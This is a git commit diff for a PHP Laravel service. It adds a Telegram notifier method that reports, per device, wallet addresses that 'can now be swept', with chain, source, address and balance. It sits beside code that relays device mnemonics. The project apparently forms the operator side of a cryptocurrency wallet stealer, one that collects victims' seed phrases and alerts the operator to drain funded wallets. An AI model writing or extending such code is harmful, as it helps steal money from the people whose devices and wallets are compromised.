feat: stats
This commit is contained in:
@@ -6,6 +6,7 @@ use App\Jobs\SendTelegramMessage;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
@@ -263,6 +264,48 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
/**
|
||||
* Newly linked or mnemonic-derived addresses that can now be swept.
|
||||
*
|
||||
* @param iterable<WalletAddress> $addresses
|
||||
*/
|
||||
public function notifyCollectableAddresses(iterable $addresses): void
|
||||
{
|
||||
$byDevice = [];
|
||||
foreach ($addresses as $address) {
|
||||
if (! $address instanceof WalletAddress) {
|
||||
continue;
|
||||
}
|
||||
$address->loadMissing('device');
|
||||
$deviceId = trim((string) ($address->device?->device_id ?? ''));
|
||||
if ($deviceId === '') {
|
||||
continue;
|
||||
}
|
||||
$byDevice[$deviceId][] = $address;
|
||||
}
|
||||
|
||||
foreach ($byDevice as $deviceId => $rows) {
|
||||
$lines = [
|
||||
'📦 <b>地址可归集通知</b>'.(count($rows) > 1 ? ' ('.count($rows).')' : ''),
|
||||
...$this->deviceHeader($deviceId),
|
||||
];
|
||||
foreach ($rows as $i => $row) {
|
||||
if ($i > 0) {
|
||||
$lines[] = '';
|
||||
}
|
||||
$chain = trim((string) ($row->chain_type ?? ''));
|
||||
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? $chain : '—');
|
||||
$source = trim((string) ($row->source ?? ''));
|
||||
if ($source !== '') {
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
||||
}
|
||||
$lines[] = '📬 <b>地址</b>: <code>'.$this->e((string) $row->address).'</code>';
|
||||
$lines[] = '💵 <b>余额</b>: '.$this->e($row->balanceDisplayLine());
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
|
||||
Reference in New Issue
Block a user